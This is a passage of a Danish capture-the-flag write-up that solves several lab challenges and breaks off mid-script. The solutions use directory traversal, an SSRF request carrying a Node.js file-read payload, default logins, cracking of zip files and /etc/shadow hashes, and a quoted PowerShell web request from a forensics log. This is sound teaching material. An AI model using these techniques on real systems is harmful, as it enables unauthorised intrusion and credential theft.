<p><strong>Løsning:</strong> Under release info kan vi se at der er 2 mapper, <code>upload</code> og <code>banned</code>. Vi kan bruge <code>admin:admin</code> til at logge ind på dashboardet. Her kan vi se en network request til <code>http://10.42.13.133/api/videos?dir=upload</code> hvis vi skifter <code>dir=upload</code> til <code>dir=banned</code> kan vi se de bannede videoer. <code>{&quot;files&quot;:[&quot;Kat123.mp4&quot;,&quot;Kat18888.mp4&quot;,&quot;Kat21818.mp4&quot;,&quot;Kat99.mp4&quot;]}</code></p>
<p>De normale videoer bliver hentet via: <code>http://10.42.13.133/api/videos?file=Katxx.mp4</code>, hvis vi laver directory traversal kan vi få fat i de bannede videoer: <code>http://10.42.13.133/api/videos?file=../banned/Kat21818.mp4</code></p>
<p>Flag: <code>DDC{KATTE_3R_GRIMM3}</code></p>
<hr>
<h3 id="gateway">Gateway</h3>
<p>Jeg synes du skal (eval)uere min nye super krypterede proxy: <a href="http://gateway.hkn">http://gateway.hkn</a></p>
<p><strong>Løsning:</strong> Ved at kigge i source på hjemmesiden kan vi se at der findes en <code>/admin</code> endpoint, som vi kan tilgå. Her kan vi se at der er en <code>command</code> parameter, som vi kan bruge til at køre kommandoer, men det kræver at vores requests kommer fra localhost.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">POST /fetch HTTP/1.1
</span></span><span class="line"><span class="cl">Host: 10.42.13.194
</span></span><span class="line"><span class="cl">Content-Length: 98
</span></span><span class="line"><span class="cl">Cache-Control: max-age=0
</span></span><span class="line"><span class="cl">Accept-Language: en-US,en;q=0.9
</span></span><span class="line"><span class="cl">Origin: http://10.42.13.194
</span></span><span class="line"><span class="cl">Content-Type: application/x-www-form-urlencoded
</span></span><span class="line"><span class="cl">Upgrade-Insecure-Requests: 1
</span></span><span class="line"><span class="cl">User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
</span></span><span class="line"><span class="cl">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
</span></span><span class="line"><span class="cl">Referer: http://10.42.13.194/
</span></span><span class="line"><span class="cl">Accept-Encoding: gzip, deflate, br
</span></span><span class="line"><span class="cl">Connection: keep-alive
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">site=http%3A%2F%2F0.0.0.0%2Fadmin%3Fcommand%3Drequire(&#34;fs&#34;).readFileSync(&#34;./flag.txt&#34;, &#34;utf8&#34;)
</span></span></code></pre></div><p>Giver:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">HTTP/1.1 200 OK
</span></span><span class="line"><span class="cl">X-Powered-By: Express
</span></span><span class="line"><span class="cl">Content-Type: text/html; charset=utf-8
</span></span><span class="line"><span class="cl">Content-Length: 24
</span></span><span class="line"><span class="cl">ETag: W/&#34;18-lXX7rq5mZ8QeLakml0/rs+P4t20&#34;
</span></span><span class="line"><span class="cl">Date: Sat, 05 Apr 2025 10:45:32 GMT
</span></span><span class="line"><span class="cl">Connection: keep-alive
</span></span><span class="line"><span class="cl">Keep-Alive: timeout=5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">DDC{wh1tel1sts_ar3_c00l}
</span></span></code></pre></div><p>Flag: <code>DDC{wh1tel1sts_ar3_c00l}</code></p>
<hr>
<h3 id="sysmon-spectacle">sysmon-spectacle</h3>
<p>Der er opstået en sikkerhedshændelse på en af SagaLabs&rsquo; arbejdsstationer. En af administratorerne blev overrasket over at finde en mærkelig eksekverbar fil på serveren, og værten genererede usædvanlig trafik til en fremmed IP-adresse. SagaLabs&rsquo; sikkerhedsteam har formået at indsamle nogle Sysmon-logs, som er blevet genereret på maskinen, men de skal bruge din hjælp til at fortolke dem og afdække detaljerne omkring hændelsen.</p>
<blockquote>
<p><strong>Note:</strong> Flaget kan findes lokalt fra det log man får udleveret. Man behover ikke tilgå eller interagere med ip&rsquo;erne for at løse opgaven</p>
</blockquote>
<p><a href="/ddc_regionals_2025/forensics/forensics_sysmon-spectacle.zip">Handout (sysmon-spectacle.zip)</a></p>
<p><strong>Løsning:</strong> Jeg søgte lidt rundt i de forskellige logs efter <code>powershell</code>, indtil jeg fandt en <code>powershell</code> kommando som så interessant ud:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">The request is not supported
</span></span><span class="line"><span class="cl">&#34;
</span></span><span class="line"><span class="cl">Information	28/09/2024 10.56.31	Microsoft-Windows-Sysmon	1	(1)	&#34;The description for Event ID 1 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If the event originated on another computer, the display information had to be saved with the event.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The following information was included with the event: 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">technique_id=T1059.003,technique_name=Windows Command Shell
</span></span><span class="line"><span class="cl">2024-09-28 08:56:31.877
</span></span><span class="line"><span class="cl">EV_RenderedValue_2,00
</span></span><span class="line"><span class="cl">8540
</span></span><span class="line"><span class="cl">C:\Windows\System32\cmd.exe
</span></span><span class="line"><span class="cl">10.0.19041.4355 (WinBuild.160101.0800)
</span></span><span class="line"><span class="cl">Windows Command Processor
</span></span><span class="line"><span class="cl">Microsoft® Windows® Operating System
</span></span><span class="line"><span class="cl">Microsoft Corporation
</span></span><span class="line"><span class="cl">Cmd.Exe
</span></span><span class="line"><span class="cl">cmd.exe  /c &#34;&#34;powershell -Command Invoke-WebRequest -Uri http://74.248.114.242/RERDezVZNU0wTjE1NFczNTBNM1dVSFV9&#34;&#34;
</span></span><span class="line"><span class="cl">C:\Users\sagalabs\Music\
</span></span><span class="line"><span class="cl">DESKTOP-GCVE394\sagalabs
</span></span><span class="line"><span class="cl">EV_RenderedValue_13,00
</span></span><span class="line"><span class="cl">2197472
</span></span><span class="line"><span class="cl">1
</span></span><span class="line"><span class="cl">Medium
</span></span><span class="line"><span class="cl">SHA1=DF79C86FDD11B9CCB89148458E509F879C72566C,MD5=2B40C98ED0F7A1D3B091A3E8353132DC,SHA256=BADF4752413CB0CBDC03FB95820CA167F0CDC63B597CCDB5EF43111180E088B0,IMPHASH=272245E2988E1E430500B852C4FB5E18
</span></span><span class="line"><span class="cl">EV_RenderedValue_18,00
</span></span><span class="line"><span class="cl">3740
</span></span><span class="line"><span class="cl">C:\Windows\System32\cmd.exe
</span></span><span class="line"><span class="cl">&#34;&#34;C:\Windows\system32\cmd.exe&#34;&#34;
</span></span><span class="line"><span class="cl">DESKTOP-GCVE394\sagalabs
</span></span></code></pre></div><p>Her finder vi: <code>http://74.248.114.242/RERDezVZNU0wTjE1NFczNTBNM1dVSFV9</code>, ved at decode <code>RERDezVZNU0wTjE1NFczNTBNM1dVSFV9</code> fra base64 får vi <code>DDC{5Y5M0N154W350M3WUHU}</code>.</p>
<p>Flag: <code>DDC{5Y5M0N154W350M3WUHU}</code></p>
<hr>
<h3 id="third-time-is-the-charm">Third time is the charm</h3>
<p>👉 <a href="http://abc.hkn">http://abc.hkn</a> 👈</p>
<p><strong>Løsning:</strong> Ved at køre en nmap scan på serveren kan vi se at der er en ftp server kørende på port 21. Her kan vi logge ind med <code>admin:admin</code> og downloade <code>backup.zip</code>. Desværre er zip filen password protected, så vi skal bruge <code>fcrackzip</code> til at cracke passwordet.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">halfdan@desktop:~$ fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip 
</span></span><span class="line"><span class="cl">found file <span class="s1">&#39;backup/passwd.txt&#39;</span>, <span class="o">(</span>size cp/uc    531/  1442, flags 9, chk a8e2<span class="o">)</span>
</span></span><span class="line"><span class="cl">found file <span class="s1">&#39;backup/shadow.txt&#39;</span>, <span class="o">(</span>size cp/uc    472/  1092, flags 9, chk a8e2<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">PASSWORD FOUND!!!!: <span class="nv">pw</span> <span class="o">==</span> whatever
</span></span></code></pre></div><p>Nu kan vi unzip filen med <code>whatever</code> som password. Her finder vi 2 filer, <code>passwd.txt</code> og <code>shadow.txt</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">alice:x:1000:1000::/home/alice:/bin/bash
</span></span><span class="line"><span class="cl">bob:x:1001:1001::/home/bob:/bin/bash
</span></span><span class="line"><span class="cl">charlie:x:1002:1002::/home/charlie:/bin/bash
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">alice:<span class="nv">$6$nvdZht1mZP6aHymh$Y8Vmz7LAhMmmiO6</span>/69O0eItiIwWUNW7WJOQcfMGB1OW/UyeBX7nEHKBWXOXQ9Hy504AYa3QGr4XdjKy2wjUt21:20108:0:99999:7:::
</span></span><span class="line"><span class="cl">bob:<span class="nv">$6$ox2vedwh0BH3VPaN$c</span>/nt7wKN2yJfQ8NeeJtX4sC.ZbEJDFwbMLeNF0z8MQDDCMVPHwIuER6YyXWjGuId.WTINLvLbnBi/.SlS9AdN0:20108:0:99999:7:::
</span></span><span class="line"><span class="cl">charlie:<span class="nv">$6$iGjyt</span>/KLehKBoCeA<span class="nv">$MA9h2Dhj8C9uKCqJxmOxbfsHSPwaRh8r0EJrxHR3jGfnqvBfp55KP6TM</span>/lmiSXVCIXGIYUSNDOZvbBsfU7BM0/:20108:0:99999:7:::
</span></span></code></pre></div><p>Her kan vi bruge <code>john</code> til at cracke passwordene:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">john --wordlist<span class="o">=</span>/usr/share/wordlists/rockyou.txt passwd.txt
</span></span></code></pre></div><h4 id="intented-solution">Intented solution</h4>
<p>Fra john får vi:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">alice:123456789:20108:0:99999:7:::
</span></span><span class="line"><span class="cl">bob:123456789:20108:0:99999:7:::
</span></span><span class="line"><span class="cl">charlie:123456789:20108:0:99999:7:::
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3 password hashes cracked, 0 left
</span></span></code></pre></div><p>på 3 forsøg kan vi ssh ind som charlie og cat flag.txt: <code>DDC{u0rcMP54d-pc3jNX-WUW}</code></p>
<h4 id="unintented-solution">Unintented solution</h4>
<p>Af en eller anden grund ville min john ikke cracke passwordet til charlie, så jeg endte med at logge ind som bob og ændre i <code>/entrypoint.sh</code> så den kopirede flag.txt til <code>/home/bob/flag.txt</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/usr/bin/env bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">service ssh start
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">cat /home/charlie/flag.txt &gt; /home/bob/flag.txt
</span></span><span class="line"><span class="cl">chmod <span class="m">777</span> /home/bob/flag.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">python3 ftp.py
</span></span></code></pre></div><p>Så på campfiresecurity stop og start challengen, så kunne jeg cat flag.txt som bob.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">cat /home/bob/flag.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">DDC<span class="o">{</span>u0rcMP54d-pc3jNX-WUW<span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>DDC{u0rcMP54d-pc3jNX-WUW}</code></p>
<hr>
<h3 id="find-my-files">Find my files</h3>
<p>Fin har lige opdaget hvordan hjemmesider virker, man giver bare en fil til dem som gerne vil se den. Han sagde at han havde lavet en hjemmeside hvor du kan se alfabetet, men noget siger mig at den kan give flere filer end det er intentionen. Han har dog valgt at skrive den i c, hvilket kan skal have stor ros for. Han kører også ssh for at kunne tjekke om folk har fundet filen.</p>
<p><a href="http://alfabet.hkn">http://alfabet.hkn</a></p>
<p><strong>Løsning:</strong> Ved at gå til <a href="http://alfabet.hkn/etc/shadow">http://alfabet.hkn/etc/shadow</a> får vi udleveret filen <code>/etc/shadow</code>. Her finder vi password hash af root brugeren, som vi kan cracke med <code>hashcat</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s1">&#39;$6$yVfBpLZpinJp40Y8$2PZ5Gkn6bjqWfQpypoE3Yf/pnf/ukgMPS7GtGdrqya3JcP/qsonqROS4if77u9.FoK0Y62ppdwBdnry4WtAO60&#39;</span> &gt; <span class="nb">hash</span>
</span></span><span class="line"><span class="cl">hashcat -m <span class="m">1800</span> <span class="nb">hash</span> /usr/share/wordlists/rockyou.txt
</span></span></code></pre></div><p>Her får vi <code>root:123456789</code>, som vi kan bruge til at ssh ind på serveren. Her kan vi finde flaget i <code>./app/du_finder_flaget_her</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">root@2c73939fe39e:/# cat ./app/du_finder_flaget_her
</span></span><span class="line"><span class="cl">DDC<span class="o">{</span>nu_fandt_du_min_fil<span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>DDC{nu_fandt_du_min_fil}</code></p>
<hr>
<h3 id="stuckat99">StuckAt99</h3>
<p>Alle disse $💢%💀@! opdateringer bliver ved med at sidde fast! Det er så irriterende!!! Hvis bare jeg selv kunne få fat i koden, så kunne jeg endelig få dette program til at køre.</p>
<p><a href="/ddc_regionals_2025/binary/binary_StuckAt99.zip">Handout (StuckAt99.zip)</a></p>
<p><strong>Løsning:</strong> Ved at bruge <a href="https://github.com/horsicq/Detect-It-Easy">Detect It Easy (DiE)</a> kan vi se at programmet er skrevet i <code>C#</code>. Dette kan vi let dekompilere med <code>CodemerxDecompile</code>.</p>
<p>I koden finder vi en GenerateFlag funktion:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="kd">private</span> <span class="kt">string</span> <span class="n">GenerateFlag</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="n">StringBuilder</span> <span class="n">stringBuilder</span> <span class="p">=</span> <span class="k">new</span> <span class="n">StringBuilder</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">0</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">0</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">1</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">2</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">31</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">32</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">33</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">34</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">41</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">41</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">42</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">43</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">44</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">45</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">46</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">47</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">48</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">49</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="n">stringBuilder</span><span class="p">.</span><span class="n">Append</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">GetCharacter</span><span class="p">(</span><span class="m">3</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">stringBuilder</span><span class="p">.</span><span class="n">ToString</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">private</span> <span class="kt">char</span> <span class="n">GetCharacter</span><span class="p">(</span><span class="kt">int</span> <span class="n">index</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="n">chr</span> <span class="p">=</span> <span class="p">(</span><span class="k">new</span> <span class="kt">char</span><span class="p">[]</span> <span class="p">{</span> <span class="sc">&#39;D&#39;</span><span class="p">,</span> <span class="sc">&#39;C&#39;</span><span class="p">,</span> <span class="sc">&#39;{&#39;</span><span class="p">,</span> <span class="sc">&#39;}&#39;</span><span class="p">,</span> <span class="sc">&#39;Y&#39;</span><span class="p">,</span> <span class="sc">&#39;b&#39;</span><span class="p">,</span> <span class="sc">&#39;9&#39;</span><span class="p">,</span> <span class="err">&#39;\</span><span class="n">u005F</span><span class="err">&#39;</span><span class="p">,</span> <span class="sc">&#39;H&#39;</span><span class="p">,</span> <span class="sc">&#39;j&#39;</span><span class="p">,</span> <span class="sc">&#39;X&#39;</span><span class="p">,</span> <span class="sc">&#39;4&#39;</span><span class="p">,</span> <span class="sc">&#39;L&#39;</span><span class="p">,</span> <span class="sc">&#39;f&#39;</span><span class="p">,</span> <span class="sc">&#39;2&#39;</span><span class="p">,</span> <span class="sc">&#39;u&#39;</span><span class="p">,</span> <span class="sc">&#39;V&#39;</span><span class="p">,</span> <span class="sc">&#39;z&#39;</span><span class="p">,</span> <span class="sc">&#39;s&#39;</span><span class="p">,</span> <span class="sc">&#39;M&#39;</span><span class="p">,</span> <span class="sc">&#39;K&#39;</span><span class="p">,</span> <span class="sc">&#39;D&#39;</span><span class="p">,</span> <span class="sc">&#39;P&#39;</span><span class="p">,</span> <span class="sc">&#39;t&#39;</span><span class="p">,</span> <span class="sc">&#39;n&#39;</span><span class="p">,</span> <span class="sc">&#39;F&#39;</span><span class="p">,</span> <span class="sc">&#39;1&#39;</span><span class="p">,</span> <span class="sc">&#39;0&#39;</span><span class="p">,</span> <span class="sc">&#39;r&#39;</span><span class="p">,</span> <span class="sc">&#39;a&#39;</span><span class="p">,</span> <span class="sc">&#39;z&#39;</span><span class="p">,</span> <span class="sc">&#39;f&#39;</span><span class="p">,</span> <span class="sc">&#39;1&#39;</span><span class="p">,</span> <span class="sc">&#39;n&#39;</span><span class="p">,</span> <span class="sc">&#39;e&#39;</span><span class="p">,</span> <span class="sc">&#39;l&#39;</span><span class="p">,</span> <span class="sc">&#39;H&#39;</span><span class="p">,</span> <span class="sc">&#39;A&#39;</span><span class="p">,</span> <span class="sc">&#39;S&#39;</span><span class="p">,</span> <span class="sc">&#39;i&#39;</span><span class="p">,</span> <span class="sc">&#39;t&#39;</span><span class="p">,</span> <span class="err">&#39;\</span><span class="n">u005F</span><span class="err">&#39;</span><span class="p">,</span> <span class="sc">&#39;m&#39;</span><span class="p">,</span> <span class="sc">&#39;4&#39;</span><span class="p">,</span> <span class="sc">&#39;n&#39;</span><span class="p">,</span> <span class="sc">&#39;u&#39;</span><span class="p">,</span> <span class="sc">&#39;a&#39;</span><span class="p">,</span> <span class="sc">&#39;l&#39;</span><span class="p">,</span> <span class="sc">&#39;l&#39;</span><span class="p">,</span> <span class="sc">&#39;y&#39;</span><span class="p">,</span> <span class="sc">&#39;G&#39;</span><span class="p">,</span> <span class="sc">&#39;o&#39;</span><span class="p">,</span> <span class="sc">&#39;d&#39;</span><span class="p">,</span> <span class="sc">&#39;b&#39;</span><span class="p">,</span> <span class="sc">&#39;l&#39;</span><span class="p">,</span> <span class="sc">&#39;e&#39;</span><span class="p">,</span> <span class="sc">&#39;C&#39;</span><span class="p">,</span> <span class="sc">&#39;6&#39;</span><span class="p">,</span> <span class="sc">&#39;p&#39;</span><span class="p">,</span> <span class="sc">&#39;Y&#39;</span><span class="p">,</span> <span class="sc">&#39;d&#39;</span><span class="p">,</span> <span class="sc">&#39;I&#39;</span><span class="p">,</span> <span class="sc">&#39;w&#39;</span><span class="p">,</span> <span class="sc">&#39;q&#39;</span><span class="p">,</span> <span class="sc">&#39;b&#39;</span><span class="p">,</span> <span class="sc">&#39;M&#39;</span><span class="p">,</span> <span class="sc">&#39;n&#39;</span><span class="p">,</span> <span class="sc">&#39;J&#39;</span><span class="p">,</span> <span class="sc">&#39;3&#39;</span><span class="p">,</span> <span class="sc">&#39;z&#39;</span><span class="p">,</span> <span class="sc">&#39;X&#39;</span><span class="p">,</span> <span class="sc">&#39;s&#39;</span><span class="p">,</span> <span class="sc">&#39;F&#39;</span><span class="p">,</span> <span class="sc">&#39;r&#39;</span><span class="p">,</span> <span class="sc">&#39;t&#39;</span><span class="p">,</span> <span class="sc">&#39;C&#39;</span><span class="p">,</span> <span class="sc">&#39;g&#39;</span><span class="p">,</span> <span class="sc">&#39;Q&#39;</span><span class="p">,</span> <span class="sc">&#39;1&#39;</span><span class="p">,</span> <span class="sc">&#39;L&#39;</span><span class="p">,</span> <span class="sc">&#39;8&#39;</span><span class="p">,</span> <span class="sc">&#39;N&#39;</span><span class="p">,</span> <span class="sc">&#39;e&#39;</span><span class="p">,</span> <span class="err">&#39;\</span><span class="n">u005F</span><span class="err">&#39;</span><span class="p">,</span> <span class="sc">&#39;u&#39;</span><span class="p">,</span> <span class="sc">&#39;T&#39;</span><span class="p">,</span> <span class="sc">&#39;s&#39;</span><span class="p">,</span> <span class="sc">&#39;0&#39;</span><span class="p">,</span> <span class="sc">&#39;y&#39;</span><span class="p">,</span> <span class="sc">&#39;k&#39;</span><span class="p">,</span> <span class="sc">&#39;f&#39;</span><span class="p">,</span> <span class="sc">&#39;P&#39;</span><span class="p">,</span> <span class="sc">&#39;h&#39;</span><span class="p">,</span> <span class="sc">&#39;V&#39;</span><span class="p">,</span> <span class="sc">&#39;c&#39;</span><span class="p">,</span> <span class="sc">&#39;W&#39;</span><span class="p">,</span> <span class="sc">&#39;j&#39;</span><span class="p">,</span> <span class="sc">&#39;2&#39;</span><span class="p">,</span> <span class="sc">&#39;l&#39;</span><span class="p">,</span> <span class="sc">&#39;B&#39;</span><span class="p">,</span> <span class="sc">&#39;7&#39;</span><span class="p">,</span> <span class="sc">&#39;r&#39;</span><span class="p">,</span> <span class="sc">&#39;O&#39;</span><span class="p">,</span> <span class="sc">&#39;X&#39;</span><span class="p">,</span> <span class="sc">&#39;e&#39;</span><span class="p">,</span> <span class="sc">&#39;9&#39;</span><span class="p">,</span> <span class="sc">&#39;S&#39;</span><span class="p">,</span> <span class="sc">&#39;a&#39;</span><span class="p">,</span> <span class="sc">&#39;M&#39;</span><span class="p">,</span> <span class="sc">&#39;T&#39;</span><span class="p">,</span> <span class="sc">&#39;n&#39;</span><span class="p">,</span> <span class="sc">&#39;!&#39;</span> <span class="p">})[</span><span class="n">index</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">chr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Her kan vi se at flaget bliver genereret ved at kalde <code>GetCharacter</code> funktionen med forskellige index. Hvis vi kigger på <code>GetCharacter</code> funktionen kan vi se at den returnere et char fra en array, som indeholder flaget.</p>
<p>Vi kan nemt lave en python script til at generere flaget:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">generate_flag</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">chars</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;D&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;{&#39;</span><span class="p">,</span> <span class="s1">&#39;}&#39;</span><span class="p">,</span> <span class="s1">&#39;Y&#39;</span><span class="p">,</span> <span class="s1">&#39;b&#39;</span><span class="p">,</span> <span class="s1">&#39;9&#39;</span><span class="p">,</span> <span class="s1">&#39;_&#39;</span><span class="p">,</span> <span class="s1">&#39;H&#39;</span><span class="p">,</span> <span class="s1">&#39;j&#39;</span><span class="p">,</span> <span class="s1">&#39;X&#39;</span><span class="p">,</span> <span class="s1">&#39;4&#39;</span><span class="p">,</span> <span class="s1">&#39;L&#39;</span><span class="p">,</span> <span class="s1">&#39;f&#39;</span><span class="p">,</span> <span class="s1">&#39;2&#39;</span><span class="p">,</span> <span class="s1">&#39;u&#39;</span><span class="p">,</span> <span class="s1">&#39;V&#39;</span><span class="p">,</span> <span class="s1">&#39;z&#39;</span><span class="p">,</span> <span class="s1">&#39;s&#39;</span><span class="p">,</span> <span class="s1">&#39;M&#39;</span><span class="p">,</span> <span class="s1">&#39;K&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">,</span> <span class="s1">&#39;P&#39;</span><span class="p">,</span> <span class="s1">&#39;t&#39;</span><span class="p">,</span> <span class="s1">&#39;n&#39;</span><span class="p">,</span> <span class="s1">&#39;F&#39;</span><span class="p">,</span> <span class="s1">&#39;1&#39;</span><span class="p">,</span> <span class="s1">&#39;0&#39;</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">,</span> <span class="s1">&#39;a&#39;</span><span class="p">,</span> <span class="s1">&#39;z&#39;</span><span class="p">,</span> <span class="s1">&#39;f&#39;</span><span class="p">,</span> <span class="s1">&#39;1&#39;</span><span class="p">,</span> <span class="s1">&#39;n&#39;</span><span class="p">,</span> <span class="s1">&#39;e&#39;</span><span class="p">,</span> <span class="s1">&#39;l&#39;</span><span class="p">,</span> <span class="s1">&#39;H&#39;</span><span class="p">,</span> <span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;S&#39;</span><span class="p">,</span> <span class="s1">&#39;i&#39;</span><span class="p">,</span> <span class="s1">&#39;t&#39;</span><span class="p">,</span> <span class="s1">&#39;_&#39;</span><span class="p">,</span> <span class="s1">&#39;m&#39;</span><span class="p">,</span> <span class="s1">&#39;4&#39;</span><span class="p">,</span> <span class="s1">&#39;n&#39;</span><span class="p">,</span> <span class="s1">&#39;u&#39;</span><span class="p">,</span> <span 